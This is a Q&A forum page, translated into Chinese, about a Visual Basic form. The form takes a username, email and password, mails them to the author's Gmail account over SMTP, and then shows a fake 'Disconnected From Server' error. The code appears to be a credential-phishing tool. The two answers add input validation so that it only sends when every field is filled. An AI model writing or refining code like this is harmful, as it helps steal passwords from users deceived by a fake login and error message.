2013-12-12 78 views
-1

Im在Visual Basic中编写程序,用户输入信息并将输出发送到我的电子邮件。我有一个问题,有人可以将所有需要填写的文本留空,并发送电子邮件。这是我的代码。Visual Basic代码建议

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click 
    If TextBox1.Text = "" Then 
     MsgBox("Username Is Missing") 
    Else 
    End If 
    If TextBox2.Text = "" Then 
     MsgBox("Email Is Mising") 
    Else 
    End If 
    If TextBox3.Text = "" Then 
     MsgBox("Password Is Mising") 
    Else 
    End If 
    Dim smtpServer As New SmtpClient() 
    Dim mail As New MailMessage() 
    smtpServer.Credentials = New Net.NetworkCredential("my email", "my passowrd") 
    'using gmail 
    smtpServer.Port = 587 
    smtpServer.Host = "smtp.gmail.com" 
    smtpServer.EnableSsl = True 
    mail = New MailMessage() 
    mail.From = New MailAddress("my email") 
    mail.To.Add("my email") 
    mail.Subject = "Username: " & TextBox1.Text 
    mail.Body = "Username : " & TextBox1.Text & ", " & "Email: " & TextBox2.Text & ", " & "Passoword: " & TextBox3.Text 
    smtpServer.Send(mail) 
    MsgBox("Disconnected From Server, Please try again later!") 

如果有人能告诉我的代码,使其在那里他们有信息进入所有的文本框送这将是伟大的电子邮件!

+3

这个问题似乎是题外话,因为它是关于代码审查,属于上http://codereview.stackexchange.com/ – MPelletier

回答

0

你可以试试这个。



    If TextBox1.Text = "" Then 
     MsgBox("Username Is Missing") 
     exit sub 
    End If 
    If TextBox2.Text = "" Then 
     MsgBox("Email Is Mising") 
     exit sub 
    End If 
    If TextBox3.Text = "" Then 
     MsgBox("Password Is Mising") 
     exit sub 
    End If 

感谢

+0

感谢伟大的工作! – Coder11

0
If String.IsNullOrEmpty (TextBox1.Text) Then 
    MsgBox("Username Is Missing") 
    TextBox1.Focus() 
    Exit Sub 
Else If String.IsNullOrEmpty (TextBox2.Text) Then 
    MsgBox("Email Is Mising") 
    TextBox2.Focus() 
    Exit Sub 
Else If String.IsNullOrEmpty (TextBox3.Text) Then 
    MsgBox("Password Is Mising") 
    TextBox3.Focus() 
    Exit Sub 
End If